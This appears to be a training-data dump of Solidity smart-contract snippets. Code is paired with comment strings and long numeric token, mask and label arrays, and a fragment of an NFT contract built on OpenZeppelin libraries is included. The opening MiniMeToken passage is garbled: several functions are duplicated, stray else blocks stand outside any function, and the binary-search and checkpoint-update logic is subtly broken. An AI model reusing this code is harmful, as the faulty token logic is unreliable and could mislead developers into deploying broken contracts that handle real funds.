(bool) { uint curTotalSupply = totalSupply(); uint previousBalanceTo = balanceOf(_owner); updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); updateValueAtNow(balances[_owner], previousBalanceTo + _amount); emit Transfer(0, _owner, _amount); return true; } function destroyTokens(address _owner, uint _amount ) onlyController public returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply >= _amount); uint previousBalanceFrom = balanceOf(_owner); require(previousBalanceFrom >= _amount); updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); emit Transfer(_owner, 0, _amount); return true; } function enableTransfers(bool _transfersEnabled) public onlyController { transfersEnabled = _transfersEnabled; } function getValueAt(Checkpoint[] storage checkpoints, uint _block ) constant internal returns (uint) { if (checkpoints.length == 0) return 0; if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1)/ 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; max = mid-1; } } return checkpoints[min].value; } function getValueAt(Checkpoint[] storage checkpoints, uint _block ) constant internal returns (uint) { if (checkpoints.length == 0) return 0; if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1)/ 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; max = mid-1; } } return checkpoints[min].value; } function getValueAt(Checkpoint[] storage checkpoints, uint _block ) constant internal returns (uint) { if (checkpoints.length == 0) return 0; if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1)/ 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; max = mid-1; } } return checkpoints[min].value; } } else { function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value ) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value ) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } } else { function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } function min(uint a, uint b) pure internal returns (uint) { return a < b ? a : b; } function () public payable { require(isContract(controller)); require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender)); } function claimTokens(address _token) public onlyController { if (_token == 0x0) { controller.transfer(address(this).balance); return; } MiniMeToken token = MiniMeToken(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); emit ClaimedTokens(_token, controller, balance); } event Transfer(address indexed _from, address indexed _to, uint256 _amount); event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); function claimTokens(address _token) public onlyController { if (_token == 0x0) { controller.transfer(address(this).balance); return; } MiniMeToken token = MiniMeToken(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); emit ClaimedTokens(_token, controller, balance); } event Transfer(address indexed _from, address indexed _to, uint256 _amount); event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); }
344,142
[ 1, 1986, 3214, 1147, 6835, 16, 326, 805, 2596, 353, 326, 1234, 18, 15330, 225, 716, 5993, 383, 1900, 326, 6835, 16, 1427, 11234, 333, 1147, 903, 506, 19357, 635, 279, 225, 1147, 2596, 6835, 16, 1492, 611, 427, 546, 903, 745, 279, 315, 13432, 6, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 27987, 4667, 1345, 353, 8888, 1259, 288, 203, 203, 203, 203, 565, 1958, 225, 25569, 288, 203, 203, 3639, 2254, 10392, 628, 1768, 31, 203, 203, 3639, 2254, 10392, 460, 31, 203, 565, 289, 203, 203, 203, 203, 203, 203, 203, 203, 203, 203, 565, 27987, 4667, 1345, 1071, 982, 1345, 31, 203, 565, 2254, 1071, 982, 24063, 1555, 352, 1768, 31, 203, 565, 2254, 1071, 6710, 1768, 31, 203, 565, 2874, 261, 2867, 516, 25569, 63, 5717, 324, 26488, 31, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 2935, 31, 203, 565, 25569, 8526, 2078, 3088, 1283, 5623, 31, 203, 565, 1426, 1071, 29375, 1526, 31, 203, 565, 27987, 4667, 1345, 1733, 1071, 1147, 1733, 31, 203, 203, 565, 445, 27987, 4667, 1345, 12, 203, 3639, 1758, 389, 2316, 1733, 16, 203, 3639, 1758, 389, 2938, 1345, 16, 203, 3639, 2254, 389, 2938, 24063, 1555, 352, 1768, 16, 203, 3639, 533, 389, 2316, 461, 16, 203, 3639, 2254, 28, 389, 12586, 7537, 16, 203, 3639, 533, 389, 2316, 5335, 16, 203, 3639, 1426, 389, 2338, 18881, 1526, 203, 565, 262, 1071, 288, 203, 3639, 1147, 1733, 273, 27987, 4667, 1345, 1733, 24899, 2316, 1733, 1769, 203, 3639, 982, 1345, 273, 27987, 4667, 1345, 24899, 2938, 1345, 1769, 203, 3639, 982, 24063, 1555, 352, 1768, 273, 389, 2938, 24063, 1555, 352, 1768, 31, 203, 3639, 29375, 1526, 273, 389, 2338, 18881, 1526, 31, 203, 3639, 6710, 1768, 273, 1203, 18, 2696, 31, 203, 565, 289, 203, 203, 203, 2 ]
./full_match/80001/0xF7Ac1a39e13A97757a0989e142627f24C06aE39D/sources/contracts/lib/GenesisUtils.sol
* @dev reverse/ swap bytes swap 2-byte long pairs swap 4-byte long pairs swap 8-byte long pairs swap 16-byte long pairs
function reverse(uint256 input) internal pure returns (uint256 v) { v = input; v = ((v & 0xFF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00) >> 8) | ((v & 0x00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF) << 8); v = ((v & 0xFFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000) >> 16) | ((v & 0x0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF) << 16); v = ((v & 0xFFFFFFFF00000000FFFFFFFF00000000FFFFFFFF00000000FFFFFFFF00000000) >> 32) | ((v & 0x00000000FFFFFFFF00000000FFFFFFFF00000000FFFFFFFF00000000FFFFFFFF) << 32); v = ((v & 0xFFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF0000000000000000) >> 64) | ((v & 0x0000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF) << 64); v = (v >> 128) | (v << 128); }
5,634,628
[ 1, 9845, 19, 7720, 1731, 7720, 576, 17, 7229, 1525, 5574, 7720, 1059, 17, 7229, 1525, 5574, 7720, 1725, 17, 7229, 1525, 5574, 7720, 2872, 17, 7229, 1525, 5574, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4219, 12, 11890, 5034, 810, 13, 2713, 16618, 1135, 261, 11890, 5034, 331, 13, 288, 203, 3639, 331, 273, 810, 31, 203, 203, 3639, 331, 273, 203, 5411, 14015, 90, 473, 203, 7734, 374, 6356, 713, 2246, 713, 2246, 713, 2246, 713, 2246, 713, 2246, 713, 2246, 713, 2246, 713, 2246, 713, 2246, 713, 2246, 713, 2246, 713, 2246, 713, 2246, 713, 2246, 713, 2246, 713, 13, 1671, 203, 7734, 1725, 13, 571, 203, 5411, 14015, 90, 473, 203, 7734, 374, 92, 713, 2246, 713, 2246, 713, 2246, 713, 2246, 713, 2246, 713, 2246, 713, 2246, 713, 2246, 713, 2246, 713, 2246, 713, 2246, 713, 2246, 713, 2246, 713, 2246, 713, 2246, 713, 2246, 13, 2296, 203, 7734, 1725, 1769, 203, 203, 3639, 331, 273, 203, 5411, 14015, 90, 473, 203, 7734, 374, 21718, 2787, 8998, 2787, 8998, 2787, 8998, 2787, 8998, 2787, 8998, 2787, 8998, 2787, 8998, 2787, 13, 1671, 203, 7734, 2872, 13, 571, 203, 5411, 14015, 90, 473, 203, 7734, 374, 92, 2787, 8998, 2787, 8998, 2787, 8998, 2787, 8998, 2787, 8998, 2787, 8998, 2787, 8998, 2787, 8998, 13, 2296, 203, 7734, 2872, 1769, 203, 203, 3639, 331, 273, 203, 5411, 14015, 90, 473, 203, 7734, 374, 28949, 12648, 8998, 8998, 12648, 8998, 8998, 12648, 8998, 8998, 12648, 13, 1671, 203, 7734, 3847, 13, 571, 203, 5411, 14015, 90, 473, 203, 7734, 374, 92, 12648, 8998, 8998, 12648, 8998, 8998, 12648, 8998, 8998, 12648, 8998, 8998, 13, 2296, 203, 7734, 3847, 1769, 203, 203, 3639, 331, 273, 203, 5411, 2 ]
/* This is a very simple demonstration of a while loops. Same as JS/c. */ pragma solidity^0.4.17; contract BasicIterator { address creator; // reserve one "address"-type spot uint8[10] integers; // reserve a chunk of storage for 10 8-bit unsigned integers in an array function BasicIterator() public { creator = msg.sender; // set the creator address uint8 x = 0; // initialize an 8-bit, unsigned integer to zero while(x < integers.length) // the variable integers was initialized to length 10 { integers[x] = x; // set integers to [0,1,2,3,4,5,6,7,8,9] over ten iterations x++; } } function getSum() public view returns (uint) // "constant" just means this function returns something to the caller { // which is immediately followed by what type gets returned, in this case a full uint256 uint8 sum = 0; uint8 x = 0; while(x < integers.length) { sum = sum + integers[x]; x++; } return sum; } /********** 杀死协议,然后把剩余的钱退回给创建者 **********/ function kill() public { if (msg.sender == creator) { selfdestruct(creator); } } }
reserve a chunk of storage for 10 8-bit unsigned integers in an array
uint8[10] integers;
1,014,046
[ 1, 455, 6527, 279, 2441, 434, 2502, 364, 1728, 1725, 17, 3682, 9088, 12321, 316, 392, 526, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 28, 63, 2163, 65, 12321, 31, 7734, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* ######################################################################################################### # # # ╓φ@▒▒▒▒@╗µ, # # -╠╠╠╠╠╬╬╬╬╬╬╬╬╬╬╤ # # .φ╠╠╠╠╠╠╠╠╠╬╬╬╬╬╬╬╣╬╣╬▒µ # # .δ╠╠╠╠╠╠╠╠╠╠╠╬╬╬╬╬╬╬╬╬╣╣╬╬▓╕ # # δ╠╠╠╠╠╠╠╠╠╠╠╠╠╠╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓╕ # # ╔φ╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╬╬╬╬╬╬╣╬╬╣╬╬╬╬╬╬▒ # # φφ╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▒┐ # # ,╠φφ╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╬╠╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬m # # ,░░φ╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▒ # # .░░░φφ╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╬╬╬╬╬╬╬╬╬╬╬╬╬╬m # # φ░░░░░░╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠ε # # φ░░░░░░░░░░╚╚╚╚╚╚╚╚╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╬ # # ,╓φφφφφφ▒╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╬╬╬╬╣╣╣╣╣╣╣╣╬╬╬▒ # # ░░░░░░░░░░░░░φφ╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠▒_ # # ░░░░░░░░░░░░φφφ╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠▒ # # ░░░░░░░░░░░░φφφ╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠▒ # # ░░░░░░░░░░░░░░φ╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠▒ # # ░░░░░░░░░░░░░╙╙╙╙╙╙╙╙╙╙╙╙╙╙╙╙╙╙╙╚╚╚╚╚╚╚╩╩╩╩╩╩╠╠╠╠╠╠╠▒ # # _ ___,,,,,,,»»»»»»»»»,»»≥≥≥≥≥╔φφφφφφφφφφφφφφσ╔╓,''" # # _[░░░░░░░░░░░φφφφφφ╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠░ε # # `"""""""░░░░░╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╝╝╙╙╙_ # # -αα_______ _ `""╚╚╚╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╝╜╙"└-_ __ __ ╓▄▄µ # # ╙╙╠░⌐[ _ ___________.└└"╚╠╠╝╙└└~'_ ____________ ╣║╣╣╩▀ # # ░░≥░∩░≥ _______ __ __ ____ ╔╬╬╠╠╠╬╩ # # ╙░░░∩░░» ╔╬╬╠╠╠╬╩ # # "░ⁿ"░░░≥ ╔∩╚╠▒ε _ é╬╬╠╠╩╩╙ # # ░░░░░░,_ -φ╠▒φ╔φ╠╠╠▒╓ ,╔▒╠╠╬╠╠▒ # # ,╔╔εⁿ░░░░░░░░░░φφ=╔δφ╠╠╠╠▒░└╠╠╠╠╠╠▒#φφδφφφ╠╠╠╠╠╠╠╠▒╔σ- # # ░░░φ∩"░░░░░░░░░φφφφ╠╠╠╠╠╠╠▒▒╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠▒╠╠╠ # # =░░░░φ░"░░░░░░░░φφ╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╩╠╠╠╠╠╩ # # "░≥░╙≥φ╓░"░░░░░╠╠╠╠╠╠╠╠╠╠╠╠╠╠╬╬╬╬╬╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠ # # _░"░░░≥φ░╚╚φφ░░░░╚╠╠╠╠╠╠╠╠╠╬╬╬╠╠╠╠╠╠╠╠╠╠╠╠╠╚╠╠╩╠φ╠φ, # # ╔φ░░∩"░░░░░░╙≥≡░╙╚╠╠φφ░╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╩╠╠╠╩╠╠╠╠╠╠φφ╠╠▒m, # # ╔╠░░░░░░"░░░░░░░░φ≥░░≥░╙╚╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╩╠φ▒╠╠╠╠╠╠╠╠╠╠╠░╠╠╠╠╠╠▒╗_ # # .φ░φφ░░░░░░.░░░░░░░░░░░░░▒▒φφ▄▄╙╙╚╩╩╩╩╚║▄φ▒╠╠╠╠╠╠╠╠╠╠╠╠╠╠φ░░╚╚╠╠╠╠╬╠▒┐ # # ╔╠φφφφ░░░░░░-'ⁿ░░░░░░░░░░░░░░╔▓╬░╠╠▒▒▒▒╠╠╠╬▓▓╠╠╠╠╠╠╠╠╠╠╠╠╠╠φ░░░░░╚╠╠╠╠╠╠▒╗ # # ░░╚╠╠╠φ░░░░"~'_;░░░░░░░░░░░░░╣▓╩░╠╠╠╠╠╠╠╠╠╠╠╠╚▓▒╠╠╠╠╠╠╠╠╠╠╠╠φ░''"ⁿ░░╚╠╠╠╠╠╠╠_ # # ,░░╙╚╚░░░░ⁿⁿ _;░░░░░░░░░░░░╠▓▒φφ╠╠╠╠╠╠╠╠╠╠╠╠╠╙▓╠╠╠╠╠╠╠╠╠╠╠╠φ░ '"░░░╚╚╚╚╠▒ # # ╓░╚╠φ░░""" .░░░░░░░░░░░░░░░φφφ╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠φ ''",«φ╠╠╠╠ # # ╠╠╠╣▒░░░≥ "░░░░░░░░░░░░░φ╚▒φ╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠φ_ ""░░φ╣╣╣▓╕ # # ╔╠╠╚╠▒░" "░░░░░░░░░░░░░░φφ╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╚ '░╠╬╠╣▒ # # `╚╚╚φ╠░ ""░░░░░░░░░░░φ░░φ╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠╠░╚╚ ░░░╙╚╩╛ # # ` -.""ⁿ░░░░░░░░░░░░╚╚╩╠╠╠╠╠╠╠╠╠╠╠╠╠╠╚╚╚╚░╚╚░░φ_ ` _ # # ,░-`'..'""░░░░░░░░░░░░░░░░░░░░░░░╚░░░░░░φ░░φ╠ε # # ,░░░-''''''....''''¬--»»»»░░=ⁿ""░░░≤φ░░░░░░φφ╠╠ε # # ,░░░░░░.__''''''''''''''''-"""""\░░░░░░ⁿ""░░φ╠╠╠╠ε # # «░░░░░░░░░._____________'''''''''''______.-░░φ╠╠╠╠╠m # # φ░░░░░░░░░░░"-' _'""░░░░╠╠╠╠╠▒ # # φ░░░φφ░░░░░░░" '."░░░φ╠╠╠╠╠╠▒ # # ░░░╚╚░░░░░░░∩ ,░░░░╚╠╠╠╠╠╩⌐ # # ░;,,░"░░░░░░ """"ⁿ░░░Γφφ╠_ # # ,▄▄▄▄▄╠╠░░░[_ _';φ║▓╬╣▓▓▄, # # Θ▒╫╬╠╠╠╠╬╣╬╝╣╦ ▄╠╠╠╢╬╠╠╠╠╬╫╬▓_ # # ▒▒╠╠╠╠╠╬╣╬╠╣╣╣▒ Γφ╠╠╠╬╬╬╬╬╬╬╬╠╣_ # # └░░╚╚╠╠╠╠╠╠╠╠╠╠╠ "░░╚╠╠╠╠╠╠╠╬╠╬╠╩ # # ≥αφ╚╠╠╠╠╠╠╠╠╠╠╠ ╙≈α═╗╣╩╬╬╠▓▓╫wæ⌐ # # ²δ╙░╙╚╙╙╚╚╙╚╚╝ ╚╙╚╙╙╚╚╙╚╙╚╙╚╝ # ######################################################################################################### # ERA2140 - DopeGallery # ######################################################################################################### */ // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function 